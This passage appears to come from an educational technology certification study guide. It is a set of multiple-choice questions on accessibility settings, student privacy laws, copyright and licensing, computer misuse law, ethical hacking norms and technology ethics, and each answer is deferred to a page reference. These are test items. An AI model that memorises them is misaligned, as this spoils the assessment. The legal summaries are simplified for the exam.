A district plans to buy a third-party voice control application for one student. A technology coach suggests first examining the student's current device. The most likely reason is that:

A. the operating system may already provide voice control at no cost.

B. third-party voice applications are not compatible with school laptops.

C. a replacement device would cost less than the application would.

D. operating systems cannot process voice input without a separate server.

Answer: page 964

0001.e.11.4

A student with light sensitivity finds a bright white interface painful. Which device setting would most likely help?

A. a higher screen zoom level

B. a faster keyboard repeat rate

C. a dark or high-contrast mode

D. a longer screen-lock delay

Answer: page 964

0001.e.11.5

A student has temporary use of only one hand after an injury. Which option is the most practical first step for computer use?

A. buying a specialized one-handed keyboard before checking the settings

B. asking a classmate to complete the student's typing assignments

C. postponing the student's computer assignments until the injury heals

D. turning on the device's sticky keys and voice typing

Answer: page 964

0001.f Laws, licenses, and policies

Read about this in the content summary: 0001.f, page 24.

FERPA

0001.f.1.1

A mother requests the disciplinary file of her 19-year-old son, an enrolled high school student who is not her tax dependent. The school should:

A. deny the request, since disciplinary files are not education records.

B. release the file, since he remains enrolled.

C. release the file once the mother signs a consent form.

D. obtain the son's written consent before releasing the file.

Answer: page 964

0001.f.1.2

A yearbook prints student names and photos under a policy that gave families notice and an opt-out. A parent says that written consent was required. The yearbook is:

A. permitted, since sharing within a school is not disclosure.

B. improper, since every disclosure needs signed consent.

C. permitted, as directory information with notice and an opt-out.

D. permitted, since federal law does not cover yearbooks.

Answer: page 964

0001.f.1.3

A teacher keeps private behavior notes in a personal notebook and shows them to no one. A parent asks to inspect the student's education records. The notes:

A. must be produced, since behavior notes have special protection.

B. must be produced, since any writing about a student is a record.

C. generally are not records, since only the teacher has them.

D. may be withheld only if the teacher destroys them first.

Answer: page 964

0001.f.1.4

A counselor wants to review a new student's prior test scores to plan support. The parents have signed nothing. May the counselor view the scores?

A. No, since parents must consent before a staff member views records.

B. Yes, since school employees may view records of enrolled students.

C. Yes, since a legitimate educational interest allows access.

D. No, since scores remain with the teacher who gave the test.

Answer: page 964

0001.f.1.5

A school ignores a parent's request to fix a wrong grade on a transcript. Which right is most directly at issue?

A. the right to notice of a data security breach at school

B. the right to filtered Internet access at school

C. the right to request correction of education records

D. the right to consent to online data collection

Answer: page 964

COPPA

0001.f.2.1

A free commercial reading app used in a fifth-grade class asks each child for an email address, solely for the educational service. Which statement about parental consent is most accurate?

A. No consent is needed for any educational use.

B. Each family must sign, since schools cannot consent.

C. Students may consent for themselves on required work.

D. The school may consent for families, for this educational use only.

Answer: page 964

0001.f.2.2

A video site aimed at adults asks for birthdates. One user enters a date showing an age of 11, and the site keeps collecting that user's data. Why is this a legal concern?

A. The operator has actual knowledge that the user is under 13.

B. An adult site may not host videos that children can see.

C. The child's school was required to block this site.

D. No site may collect a birthdate from anyone.

Answer: page 964

0001.f.2.3

An online game used by 12-year-olds collects their locations and shows targeted ads without parental consent. Which federal agency most directly enforces the relevant law?

A. the U.S. Department of Education

B. the Federal Bureau of Investigation

C. the Federal Communications Commission

D. the Federal Trade Commission

Answer: page 964

0001.f.2.4

A company wants its new homework site for children aged 8 to 12 to comply with federal children's privacy law. Which plan addresses its central obligation?

A. posting a clear notice and obtaining verifiable parental consent

B. having each child confirm in a box that a parent agreed

C. encrypting the data, so that collection needs no consent

D. filtering the site so that no obscene images appear

Answer: page 964

0001.f.2.5

A club of 16- and 17-year-olds uses a commercial app requiring an email address. A parent cites the Children's Online Privacy Protection Act. The most accurate response is that the law:

A. covers minors under 18, so parents must sign a form.

B. applies to school accounts, not to commercial apps.

C. covers children under 13, not these students.

D. applies to apps that collect payment details from children.

Answer: page 964

CIPA

0001.f.3.1

A library receiving E-rate discounts is asked by an adult patron to disable its content filter for medical research. The library:

A. may disable it for a licensed physician, not for other adults.

B. must refuse, since the law requires the filter to stay on for adult patrons.

C. must first obtain approval from the funding agency.

D. may disable it for the adult's lawful purpose.

Answer: page 964

0001.f.3.2

A district blocks nearly all sexual health sites, including medical ones, saying that federal rules tied to its Internet discounts require this. The rules in fact:

A. ban filtering, so the district must remove its filter.

B. require blocking such topics, so the district is in compliance.

C. apply only to libraries, so the district has no filtering duty.

D. target categories of images, so the district went beyond them.

Answer: page 964

0001.f.3.3

Which addition to an E-rate school's Internet safety policy is most directly required?

A. requiring parental consent for each website visited

B. replacing all student passwords every month

C. educating students about online behavior, including cyberbullying

D. reporting each student's browsing history to parents

Answer: page 965

0001.f.3.4

A new charter school will not apply for federal telecommunications discounts. Does the Children's Internet Protection Act (CIPA) require it to install a content filter?

A. No, since CIPA applies to schools with students under 13.

B. No, since CIPA attaches to the discounts that the school declined.

C. No, since CIPA covers filters bought through federal contracts.

D. Yes, since CIPA applies to schools that serve minors.

Answer: page 965

0001.f.3.5

A school receiving E-rate discounts runs a working filter, but no one monitors network use and it has no written safety policy. Its compliance is:

A. incomplete, since monitoring and a safety policy are also required.

B. complete, since a working filter is the main obligation the law sets.

C. complete, since libraries must monitor use but schools do not.

D. complete, since monitoring would violate privacy rights.

Answer: page 965

New York Education Law 2-d

0001.f.4.1

A New York teacher wants students to enter their names in a new web app whose site says, “We take privacy seriously.” Before students use it, the district should:

A. accept the site’s statement as meeting the state’s requirements.

B. have each student read the policy and decide individually.

C. take no action, since student names are not protected.

D. confirm that a compliant agreement and protections are in place.

Answer: page 965

0001.f.4.2

A vendor’s contract with a New York district lets it market products to families using student data. The main problem under state law is that:

A. marketing requires storing the data inside New York.

B. each family must first approve the contract.

C. marketing may target only families of students over 13.

D. student data may not be sold or used for marketing.

Answer: page 965

0001.f.4.3

A New York parent asks where to learn about her rights regarding student data that a district holds. The district should direct her first to:

A. the terms of service of each website.

B. the parents' bill of rights that it must publish.

C. the Federal Trade Commission's children's privacy guidance.

D. its Internet safety policy for school filtering.

Answer: page 965

0001.f.4.4

A contractor for a New York district finds that an error exposed a student data file. No misuse has been reported. The contractor should:

A. notify the families directly, leaving out the district.

B. promptly report the exposure to the district it serves.

C. notify the Federal Trade Commission of the incident.

D. stay silent unless the data are shown to be misused.

Answer: page 965

0001.f.4.5

A New York data officer is listing what the state's student data privacy law covers beyond student records. Which item belongs on the list?

A. the board of education's public meeting minutes

B. the vendors named on its approved software purchasing list

C. certain annual evaluation data on teachers and principals

D. the district's published school bell schedules

Answer: page 965

Copyright basics

0001.f.5.1

A student independently writes a quiz app with the same features as a commercial app, without seeing its code. The company claims infringement. The strongest response is that copyright:

A. exempts student work from infringement claims.

B. protects a program's specific expression, not its function.

C. does not apply to software, which patents protect instead.

D. protects works once they are registered with the U.S. Copyright Office.

Answer: page 965

0001.f.5.2

A teacher copies a diagram from a blog with no copyright notice for a paid workshop, claiming that the missing notice makes it free to use. The claim is:

A. incorrect, since protection exists without any notice.

B. incorrect, but only if the blogger registered it.

C. correct, since work with no notice is public domain.

D. correct, since anything online is in the public domain.

Answer: page 965

0001.f.5.3

An employee writes a game engine as part of her programming job. Absent another agreement, the copyright generally belongs to:

A. the company, since the engine is a work made for hire.

B. the customers, since they pay to use the software.

C. the public, since workplace software enters the public domain.

D. the programmer, since whoever writes code always owns it.

Answer: page 965

0001.f.5.4

A company invents a new method of compressing video and wants to stop others from using it, even in code they write themselves. Which protection best fits?

A. a Creative Commons license

B. a copyright

C. a patent

D. a trademark

Answer: page 965

0001.f.5.5

A student graphs historical election results taken from a website's table of public records. Under copyright law, reusing the numbers is:

A. infringing, since the website collected the numbers first.

B. permitted when the student cites the website as the source.

C. permitted once the student buys a license.

D. generally fine, since facts themselves are not protected.

Answer: page 965

Fair use

0001.f.6.1

A commercial test prep company reproduces 40 pages of a teacher's workbook in its product and calls the use educational. Which consideration weighs most heavily against the company?

A. The workbook was written for use in educational settings.

B. The copying is substantial and could replace sales of the original.

C. The workbook has been published rather than kept unpublished.

D. The product is delivered through a website rather than on paper.

Answer: page 965

0001.f.6.2

A teacher shows a 90-second film clip and leads a critique of its portrayal of scientists, with no license. Which considerations best support the teacher's position?

A. The teacher owns a personal copy, and the door was closed.

B. The purpose is commentary, and only a small portion is used.

C. The film is highly creative and was commercially successful.

D. The students viewed it willingly, and no one objected.

Answer: page 965

0001.f.6.3

A student posts a parody song that comments on the original's message. A classmate says that all copying requires permission. The most accurate response is that parody:

A. can favor fair use, depending on all of the factors.

B. is fair use only if the songwriter receives credit.

C. is always fair use, whatever the other factors show.

D. cannot be fair use, since it uses recognizable parts.

Answer: page 965

0001.f.6.4

A teacher plans to post an entire in-print textbook chapter on a public website so that students need not buy the book. The best advice is to:

A. post it, with the publisher's name shown at the top.

B. post it, since one chapter falls within the fixed legal limit.

C. post it, since public school uses are automatically allowed.

D. link to or license it, since posting may harm the book's market.

Answer: page 965

0001.f.6.5

A teacher is told, "Copying up to 10 percent of a work is always permitted." What is wrong with this advice?

A. The fixed limit is actually 5 percent, not 10 percent.

B. No percentage is safe, since four factors must be weighed.

C. The limit is correct for printed works but not for digital ones.

D. Copying for class use requires written permission from the publisher.

Answer: page 966

Creative Commons licenses

0001.f.7.1

A teacher finds a diagram licensed Creative Commons (CC) BY-SA and wants to adapt it for a worksheet to share with colleagues. Which plan follows the license?

A. Omit the creator's name, since the adaptation is a new work.

B. Credit the creator, and share the worksheet under full copyright.

C. Credit the creator, and share the worksheet under the same license.

D. Ask permission, since adaptations are not allowed.

Answer: page 966

0001.f.7.2

A marketing team wants to use a Creative Commons BY-NC photo in an advertisement, crediting the photographer prominently. The plan fails because:

A. the license bars commercial use, whatever credit is given.

B. the license forbids crediting photographers in ads.

C. the license covers only photographs that remain in print.

D. the license requires the ad to carry the same terms.

Answer: page 966

0001.f.7.3

A student wants to crop a Creative Commons (CC) BY-ND image, add a caption, and post the result on a class website. What is the issue?

A. The license does not permit posting on any public website.

B. The license does not permit sharing a modified version.

C. The license expires as soon as a caption is added.

D. The license requires payment for each viewer.

Answer: page 966

0001.f.7.4

A teacher wants anyone, including publishers, to be able to adapt and sell a lesson plan, asking only for credit. Which Creative Commons license fits?

A. CC BY-ND

B. CC BY-NC

C. CC BY-SA

D. CC BY

Answer: page 966

0001.f.7.5

A slideshow uses a Creative Commons BY photo and lists only “from the Internet” as its source. To meet the license’s terms, the teacher must:

A. remove the photo, since this license bars teaching use.

B. release the slideshow under the same license as the photo.

C. pay the creator a fee based on audience size.

D. credit the creator by name and link to the license.

Answer: page 966

Free and open-source software

0001.f.8.1

A district is comparing a free open-source learning platform with a paid product that includes a support contract. Which factor most clearly favors the open-source option?

A. Local staff may change the code to meet district needs.

B. Public review ensures that its code contains no vulnerabilities.

C. Its community must answer support calls at any hour.

D. Running it costs the district nothing over time.

Answer: page 966

0001.f.8.2

A student says, “Open-source software is free, so its creators give up all rights and anyone can do anything with it.” Which correction is most accurate?

A. Its rights pass to a public foundation that sets the rules.

B. Its users may run it for personal purposes but not business ones.

C. Its users must still follow the conditions of its license.

D. Its users may change it after receiving the creators’ written approval.

Answer: page 966

0001.f.8.3

A company sells a distribution of open-source software with installation and support. A student says that this violates open-source principles. The most accurate response is that:

A. selling is allowed once the code has been rewritten by the company.

B. selling is allowed, since “free” refers to users’ freedoms.

C. these licenses are meant for governments and nonprofit organizations.

D. payment is not allowed for open-source software, so sales must stop.

Answer: page 966

0001.f.8.4

A school's open-source gradebook has lost its lead maintainer. With the source code available, the school's best course is to:

A. require the operating system vendor to take over.

B. stop using it, since the license lapsed when the maintainer left.

C. keep it unchanged, since such software cannot develop bugs.

D. fix or maintain the code itself, or hire someone to do so.

Answer: page 966

0001.f.8.5

A district with no software budget wants programs whose source code its staff may study and change. Which pair of programs meets this requirement?

A. Windows and Microsoft Word

B. iOS and Safari

C. Linux and Firefox

D. Adobe Photoshop and Final Cut Pro

Answer: page 966

Copyleft and permissive licenses

0001.f.9.1

A company plans to ship its closed-source app with a compiled-in, modified library under the GNU General Public License (GPL). Its lawyer's most likely concern is that distribution:

A. may be illegal, since this license bars commercial use.

B. may require paying the authors a royalty per copy.

C. may require releasing the combined source under the same terms.

D. may be blocked, since no one else may modify such libraries.

Answer: page 966

0001.f.9.2

A startup wants to use a library in its closed product. One candidate uses the MIT license and the other the GNU General Public License (GPL). Which choice fits?

A. neither library, since open-source code cannot be used in products

B. the GPL library, since it sets no redistribution conditions

C. either library, since such licenses impose identical terms

D. the MIT library, since its main condition is keeping the notice

Answer: page 966

0001.f.9.3

A company modifies a program under the GNU General Public License (GPL) for internal use only, giving no copies to outsiders. Must it release its changes?

A. Generally yes, since all changes must be published.

B. Generally no, since distribution triggers the source requirement.

C. Generally no, since the license does not apply to companies.

D. Generally yes, since changes must be sent to the original authors.

Answer: page 966

0001.f.9.4

An author wants all distributed improved versions of a program to remain open source. Which type of license fits?

A. a proprietary license

B. a public domain dedication

C. a permissive license

D. a copyleft license

Answer: page 966

0001.f.9.5

A student deletes the license text from an MIT-licensed function in a class project to tidy the file. This is a problem because the license:

A. forbids its code from appearing in educational projects.

B. requires a fee for each file in which the code appears.

C. conditions reuse on keeping its copyright and license notice.

D. requires the whole project to carry the same license.

Answer: page 966

Computer Fraud and Abuse Act

0001.f.10.1

A student guesses a teacher's password, browses the school's grade portal, changes nothing, and logs out. The student says, "I did no harm." Which statement best addresses the legal issue?

A. No law applies, since crimes require stolen or destroyed data.

B. The Family Educational Rights and Privacy Act alone governs this conduct.

C. No law applies, since the student is enrolled at the school.

D. Access without authorization may be illegal, even if nothing changes.

Answer: page 966

0001.f.10.2

A former employee uses a login that no one disabled to download client lists, saying that the active account proves permission. The strongest response is that:

A. copyright law alone governs the download of client lists.

B. the employee may take lists that the employee helped to create.

C. a working login is not authorization once employment has ended.

D. the company's failure to disable the login makes the download legal.

Answer: page 967

0001.f.10.3

A student's script tries thousands of passwords against an online service to demonstrate its weakness, without the owner's permission, and reads no data. Which statement is most accurate?

A. The attempt is legal, since only reading private data is a crime.

B. The attempt is legal, since online services imply permission to test.

C. The attempt carries legal risk, since the owner did not authorize it.

D. The attempt is protected, since federal law permits security testing.

Answer: page 967

0001.f.10.4

Which U.S. federal law is the main one used to prosecute computer break-ins?

A. the Family Educational Rights and Privacy Act

B. the Digital Millennium Copyright Act

C. the Computer Fraud and Abuse Act

D. the Children's Internet Protection Act

Answer: page 967

0001.f.10.5

A records clerk's login opens only a database's billing section. By altering a web address, the clerk reaches the restricted payroll section. Which statement best describes the legal issue?

A. The clerk's valid login authorizes use of the whole database.

B. The matter concerns copyright in the payroll records, not access.

C. The fault is the company's alone, since the address was reachable.

D. The clerk may have exceeded authorized access to the system.

Answer: page 967

Ethical hacking

0001.f.11.1

Testers hired to assess a hospital's network find that they could also enter a partner clinic's system, which the agreement does not cover. The testers should:

A. publish the flaw, so that the clinic learns that it must act.

B. test the clinic's system, since that aids the hospital.

C. stop at the boundary, and report the finding to the hospital.

D. test the clinic's system briefly, taking care to change no data.

Answer: page 967

0001.f.11.2

A student using an education app normally notices a flaw exposing other users' data. Which action is most appropriate?

A. warning classmates, and leaving the company to discover the flaw

B. privately notifying the company, and allowing time for a fix

C. posting the details online so users can protect themselves

D. opening other users' records to prove that the flaw is serious

Answer: page 967

0001.f.11.3

A company's bug bounty program invites researchers to test its website under published rules. Compared with testing a site that has no such program, a researcher taking part:

A. may use stronger methods, such as changing real user data, to prove a flaw.

B. remains in the same position, since a program does not change legal status.

C. has permission to test the company's partners as well.

D. has permission, within the program's scope and rules.

Answer: page 967

0001.f.11.4

A teacher wants students to practice attacking a website during a cybersecurity unit. Which plan is most appropriate?

A. testing a local business's website as a free service to the owner

B. testing the school's real grade portal during free periods

C. using an intentionally vulnerable site on an isolated lab network

D. testing classmates' accounts after they agree in conversation

Answer: page 967

0001.f.11.5

Which document most directly establishes that a penetration test is authorized?

A. a signed statement of the tester's good intentions

B. a certificate showing that the tester completed a course

C. a written agreement specifying its scope and rules

D. a public list of the company's servers

Answer: page 967

Digital Millennium Copyright Act

0001.f.12.1

A video site removes a student's animation after a company claims to own its music, which the student composed. Which step does U.S. law most directly provide?

A. filing a counter-notice with the site

B. registering a copyright in the video

C. uploading it again under another title

D. suing the company, as the only process

Answer: page 967

0001.f.12.2

A student breaks the encryption on a purchased e-book to read it on another device, sharing it with no one. Why might this still violate federal law?

A. Buyers may not read an e-book on more than one screen.

B. Encrypted files cannot legally be opened by any private person.

C. Circumventing a technical protection may itself be prohibited.

D. Moving an e-book to a new device counts as computer hacking.

Answer: page 967

0001.f.12.3

A video host receives a proper notice that one video infringes a copyright. To keep its legal shield from liability, the host should:

A. promptly remove or disable access to the video.

B. pay the copyright holder a fee per viewer.

C. review each new upload before it is posted.

D. leave the video up, since the uploader is the party liable for it.

Answer: page 967

0001.f.12.4

A teacher wants to extract a short clip from a copy-protected DVD for a class critique. Even if the critique qualifies as fair use, which further legal issue arises?

A. Fair use extends only to sources that have no copy protection.

B. The clip must first be registered with the U.S. Copyright Office.

C. Breaking the copy protection raises its own separate question.

D. The critique must be reported in advance to the film's distributor.

Answer: page 967

0001.f.12.5

A hosting company learns that it can avoid liability for users' copyright infringement by following a notice-and-removal procedure. Which law provides this protection?

A. the Communications Decency Act

B. the General Data Protection Regulation

C. the Computer Fraud and Abuse Act

D. the Digital Millennium Copyright Act

Answer: page 967

Acceptable use policy

0001.f.13.1

After school, a student connects a personal laptop to the school's network and plays a prohibited game. The student says that school technology rules cannot reach personal devices. The rules most likely:

A. apply, because the student is on the school's network.

B. do not apply, because the school day has already ended.

C. do not apply, because the student owns the laptop.

D. apply only if the family signed a separate form.

Answer: page 967

0001.f.13.2

A student uses a family computer, the home Internet connection, and no school account to write a blog that a teacher finds objectionable. Does the school's acceptable use policy (AUP) apply?

A. Generally no, since no school technology was used.

B. Yes, since it covers all digital activity by students.

C. Yes, since a school employee has now read the blog.

D. No, since copyright shields the blog from review.

Answer: page 967

0001.f.13.3

A parent asks whether a district's acceptable use policy still applies when a school-issued laptop is used at home on the family's network. The typical answer is:

A. no, since the home network removes the policy's force.

B. no, since such policies apply to behavior inside school buildings.

C. yes, since the laptop stays school property wherever used.

D. yes, but on days when the student attends school.

Answer: page 967

0001.f.13.4

A school policy says only, "Students must use technology appropriately." Staff disagree about whether a student's actions broke it. Which revision would best address this problem?

A. removing the policy and leaving each case to individual staff

B. specifying examples of allowed and banned uses, with consequences

C. moving the policy to a more visible place in the handbook

D. requiring students to memorize the existing sentence word for word

Answer: page 968

0001.f.13.5

A student gives a friend a login to see a shared project, which the school's signed policy bans. The teacher's most appropriate response is to:

A. change the policy, since project sharing is a valid need.

B. follow the policy's process, and teach a safer way to share.

C. take no action, since the students were doing school work.

D. suspend technology access for the whole class.

Answer: page 968

Privacy laws beyond education

0001.f.14.1

A German user of a U.S. company's language app asks the company to delete all of the user's personal data. Which law most likely gives the user this right?

A. the General Data Protection Regulation

B. the Children's Online Privacy Protection Act

C. the Computer Fraud and Abuse Act

D. New York's SHIELD Act

Answer: page 968

0001.f.14.2

An Ohio store holds private information on New York customers. A manager says that New York's data security law cannot apply, since the business is elsewhere. The manager is:

A. correct, since the law requires an office in New York.

B. correct, since the law covers agencies in New York State.

C. wrong, since the law covers businesses located in neighboring states.

D. wrong, since the law follows residents' data across state lines.

Answer: page 968

0001.f.14.3

A New York retailer learns that customers' unencrypted account names and passwords were stolen. Which state-law obligation is most directly triggered?

A. notifying customers once the data are shown to have been misused

B. resetting the affected passwords, after which no notice is needed

C. notifying affected residents and specified state authorities

D. reporting the theft to European Union data authorities

Answer: page 968

0001.f.14.4

A U.S. service with no European offices targets and monitors French users. The claim that the General Data Protection Regulation (GDPR) cannot reach it is weak because the GDPR:

A. applies once each French user files a request with the company.

B. applies whenever a company's servers are in the United States.

C. can reach organizations offering services to people in the EU.

D. applies to all websites worldwide, wherever their users live.

Answer: page 968

0001.f.14.5

A U.S. company begins collecting EU residents' personal data for a new newsletter. Under the EU's General Data Protection Regulation, the company must first establish:

A. a lawful basis for processing the data, such as consent.

B. a court order authorizing the collection.

C. an office in each member state where subscribers live.

D. a server located within the European Union.

Answer: page 968

0001.g Ethics

Read about this in the content summary: 0001.g, page 29.

Consent and data collection

0001.g.1.1

A research team trains a screening model on public forum posts about mental health, arguing that permission is unnecessary because anyone could read them. The strongest objection is that:

A. posting publicly is not agreement to every later use.

B. brief posts are too unreliable to train a model.

C. the forum, rather than its members, may grant permission.

D. removing the authors' names would make permission unnecessary.

Answer: page 968

0001.g.1.2

A photo-editing app's forty-page agreement discloses, on page thirty-one, that images may be sold to advertisers, and the app will not open until the user taps Accept. This consent is weak because:

A. a tap on a screen lacks the legal weight of a signature on paper.

B. few users would read the clause, and declining means losing the app.

C. the sale of personal images is a use to which no one is able to agree.

D. the advertisers who buy the images are not parties to the agreement.

Answer: page 968

0001.g.1.3

Two sleep-tracking apps collect identical data. An ethics reviewer would regard the agreement in one app as the more genuine if its users:

A. had used the app for several months before being asked.

B. signed and dated a paper form when they first enrolled.

C. could decline after a plain explanation of the collection.

D. received a small payment for each night of recorded data.

Answer: page 968

0001.g.1.4

A school wants to use activity data already in its learning platform for a new study of motivation. Which step best respects the families involved?

A. relying on the enrollment agreement for the original collection

B. sending families a summary of the findings afterward

C. removing grades from the data set and then proceeding

D. explaining the new study and allowing families to opt out

Answer: page 968

0001.g.1.5

A company obtains agreement to collect driving data “to improve services” and later uses that data to set individual insurance prices. Which principle does this most clearly violate?

A. Agreement to one purpose does not extend to a very different one.

B. Data held by a company should be deleted after a fixed period.

C. Customers within the same risk group should pay identical prices.

D. Driving data should be encrypted whenever it moves between departments.

Answer: page 968

Dark patterns

0001.g.2.1

A streaming service allows customers to subscribe with one click but requires a telephone call during weekday business hours to cancel. This asymmetry is best described as:

A. an engagement loop.

B. a usability defect.

C. an authentication safeguard.

D. a dark pattern.

Answer: page 968

0001.g.2.2

A checkout page has a travel insurance option already selected, and its fee appears only on the final screen. Which change would most directly address the ethical problem?

A. leaving the option unselected and showing the fee from the start

B. asking customers to confirm the full order total before the final payment

C. adding a link on the final screen to an explanation of the fee

D. listing the insurance provider's customer ratings beside the selected option

Answer: page 968

0001.g.2.3

A consumer group is cataloging interface features that work against users' interests. Which feature belongs in its catalog?

A. a fee first disclosed on the last checkout screen

B. a notice that a free trial will soon end

C. a progress bar on a long checkout form

D. a request to confirm a purchase before it completes

Answer: page 968

0001.g.2.4

A website's cookie dialog displays a large green "Accept All" button beside a small gray "Manage Settings" link. A reviewer's main ethical concern about this design is that it:

A. removes the ability to decline cookies.

B. steers visitors toward sharing more data.

C. collects more data than the site's purpose requires.

D. depends on visitors having read the whole privacy policy.

Answer: page 969

0001.g.2.5

A teacher wants students to audit a shopping app for interface designs that work against its users. Which question should guide the audit?

A. Is the interface consistent between the phone and tablet versions?

B. Is the option favored by the company easier than the alternatives?

C. Does each screen offer more choices than a user can easily compare?

D. Does the app request more data than its features need?

Answer: page 969

Engagement design and well-being

0001.g.3.1

A social app gives teenagers a daily streak that resets if they do not post, and it sends reminders late at night. The most serious ethical concern is that:

A. teenagers cannot legally consent to receiving such reminders.

B. its streak counts misrepresent how much teenagers use the app.

C. its reminders reveal teenagers' habits to advertisers.

D. it uses social pressure to hold young users' attention.

Answer: page 969

0001.g.3.2

Product teams most often add infinite scroll and frequent notifications to an app in order to:

A. reduce the number of pages the server must send.

B. simplify navigation on small screens.

C. maximize the attention that users give the app.

D. keep users informed of important changes to their accounts.

Answer: page 969

0001.g.3.3

A developer proposes replacing infinite scroll in a children's app with a stopping point after each set of videos, although time in the app will fall. Which consideration best supports the proposal?

A. the simpler code needed to display a fixed set of videos

B. the well-being of young users over time spent in the app

C. the lower risk of a data breach during shorter sessions

D. the bandwidth that the company would save through shorter sessions

Answer: page 969

0001.g.3.4

A video site plays the next video automatically unless the viewer intervenes. A representative cites long sessions as proof of "giving viewers what they want." The strongest reply is that:

A. viewing time cannot be measured accurately under autoplay.

B. long sessions may reflect the default rather than a preference.

C. automatically played videos are of lower quality than selected videos.

D. viewers would choose shorter videos if more were offered.

Answer: page 969

0001.g.3.5

Designers argue that a streak feature affects all users alike, so a version for teenagers needs no separate ethical review. A reviewer would most likely respond that:

A. adults spend more time in such apps, so concern is greater for them.

B. younger users warrant particular concern about this kind of pressure.

C. streaks become a concern only if the app also collects personal data.

D. teenagers understand apps well enough to disregard streaks without difficulty.

Answer: page 969

Professional codes of ethics

0001.g.4.1

A manager asks a programmer to keep a known safety defect from customers until after a product launch. Under the Association for Computing Machinery (ACM) Code of Ethics, the programmer should:

A. comply, since the employer bears responsibility for product decisions.

B. repair the defect quietly, sparing any need to disclose it.

C. raise the concern, since public safety outweighs the employer's convenience.

D. consult a lawyer and comply unless the law requires disclosure.

Answer: page 969

0001.g.4.2

Which pair of obligations appears among those in the Association for Computing Machinery (ACM) Code of Ethics?

A. open-source release and use of standard languages

B. honesty and respect for privacy

C. patent registration and protection of trade secrets

D. profit and employer loyalty

Answer: page 969

0001.g.4.3

A data analyst is asked to report only a product's favorable evaluation results to a school district. Which professional obligation is most directly at stake?

A. competence

B. confidentiality

C. privacy

D. honesty

Answer: page 969

0001.g.4.4

A teacher is looking for a scenario in which professional ethics guide a decision that the law leaves open. Which scenario best fits?

A. a company disclosing a breach as a state statute requires

B. a programmer following a style guide on a shared project

C. a contractor honoring the license terms of a code library

D. a developer objecting to a lawful but harmful use of data

Answer: page 969

0001.g.4.5

An engineer raises a product's privacy problems and is told by a manager that the matter is decided. Under professional ethics, the engineer's continuing responsibility is best described as:

A. deferring to the manager, whose decision ends the duty.

B. publishing the internal discussion at once for the public to judge.

C. removing the affected data without authorization to end the risk.

D. continuing to pursue the concern through appropriate channels.

Answer: page 969

Accountability for automated systems

0001.g.5.1

A self-checkout system falsely accuses a customer of theft, and the store responds that "the algorithm made the error." Which position on responsibility is most defensible?

A. The store that deployed the system remains answerable for the harm.

B. No party is answerable, since software cannot form an intention.

C. The vendor alone is answerable, since the store did not write the code.

D. The system itself bears the liability, since it reached the decision.

Answer: page 969

0001.g.5.2

A school district buys software that incorrectly flags students for cheating, and each party involved points elsewhere. Which parties should answer for correcting the harm to students?

A. the authors of open-source libraries in the product

B. no one, since the model's reasoning is hidden

C. both the district that deployed it and the vendor that built it

D. the students who accepted the district's use policy

Answer: page 969

0001.g.5.3

A state agency must be able to explain and defend its automated benefit decisions when residents challenge them. Which practice most directly supports this need?

A. keeping the model's details confidential

B. limiting staff involvement to reduce human bias

C. keeping records of how each decision was made

D. replacing the model with a more accurate one

Answer: page 969

0001.g.5.4

A hiring system was assembled by one company from a second company's model and a third company's data. When it causes harm, each company points to the other two. The central ethical concern is that:

A. shared development is being used to deflect responsibility.

B. a model cannot be audited unless one company wrote it.

C. combining models and data from several sources lowers accuracy.

D. applicants should have read each company's terms before they applied.

Answer: page 969

0001.g.5.5

A city will use an automated system to assign housing inspectors, and residents ask who will answer for its errors. Which requirement best responds?

A. running the system in only a few neighborhoods at first

B. naming an official who reviews and answers for the results

C. requiring the vendor to certify the system as error-free

D. publishing the system's price in the annual budget

Answer: page 970

Surveillance and data retention

0001.g.6.1

A fitness app collects users' full birth dates, although it needs only to verify that each user is at least 13. Which change most directly addresses the ethical problem?

A. moving birth dates to a secure database

B. asking only whether the user is at least 13

C. disclosing the collection in the privacy policy

D. encrypting the full birth date before storing it

Answer: page 970

0001.g.6.2

A school keeps ten years of detailed student web-browsing logs "in case they are useful." The strongest argument for changing this practice is that:

A. old logs cannot be opened by current software.

B. storing logs for so long slows the school's network.

C. kept data can do harm if it is breached or misused.

D. browsing records legally belong to the Internet provider.

Answer: page 970

0001.g.6.3

A vendor's privacy statement promises that it "holds as little student data as it can." Which practice would best show that the vendor is keeping this promise?

A. moving older records into encrypted storage

B. deleting records once their stated purpose has ended

C. combining records from several schools in one database

D. compressing records to use less server space

Answer: page 970

0001.g.6.4

A retail company's security team must choose one policy that would most reduce the harm to customers if its customer database were breached. The best choice is:

A. requiring longer passwords for staff.

B. keeping a second backup of each customer record.

C. deleting customer data that is no longer needed.

D. buying insurance that covers breach costs.

Answer: page 970

0001.g.6.5

A district's security cameras retain footage indefinitely. Parents object to the practice, and administrators cite safety. Which policy best balances these concerns?

A. removing the cameras and relying on staff supervision

B. deleting footage after a stated period unless it is needed

C. keeping footage indefinitely but limiting viewing to administrators

D. encrypting the archive and keeping footage indefinitely

Answer: page 970

Ethics of generative AI

0001.g.7.1

An image generator produces works in the style of a living illustrator after being trained on her portfolio without her permission. Her ethical complaint most directly concerns:

A. the energy consumed in training the image generator.

B. the use of her work without consent or compensation.

C. the risk that viewers will mistake the images for news photographs.

D. the low technical quality of the generated imitations.

Answer: page 970

0001.g.7.2

A political campaign circulates a realistic AI-generated audio clip of an opponent saying something that the opponent never said. Which ethical issue does this most directly raise?

A. environmental cost of training the model

B. displacement of voice actors

C. training on creators' work without consent

D. impersonation and misinformation

Answer: page 970

0001.g.7.3

A school board debating adoption of a generative AI tool asks about the tool's environmental cost. Which concern is best supported?

A. the paper used to print generated results

B. the battery drain on student devices that use the tool

C. the energy and water used to train and run models

D. the slower school network caused by training large models

Answer: page 970

0001.g.7.4

A teacher writes a policy on generative AI for writing assignments. Which policy best protects academic integrity while allowing for legitimate use?

A. treating a high score from an AI detector as proof of a violation

B. allowing any use if students check the final work for accuracy

C. banning the tools and requiring drafts written in class

D. defining permitted uses and requiring students to disclose them

Answer: page 970

0001.g.7.5

A company replaces its team of translators with a generative model and rehires a few of them, at lower pay, to correct its output. Which ethical issue is most directly raised?

A. the energy used to run the company's translation model

B. the effect on workers and the value of their skill

C. the accuracy of the company's translated documents

D. the consent of the authors whose translations trained the model

Answer: page 970

0001.h Safe and responsible use

Read about this in the content summary: 0001.h, page 31.

Permanence of online information

0001.h.1.1

A student posts an embarrassing photo in a disappearing story, then deletes it after an hour. The student's confidence that the photo is gone is mistaken mainly because:

A. viewers may already have captured and reposted it.

B. the app keeps expired stories in a public archive.

C. a deleted story stays on the student's own profile for a time.

D. the photo remains in the storage of the student's own phone.

Answer: page 970

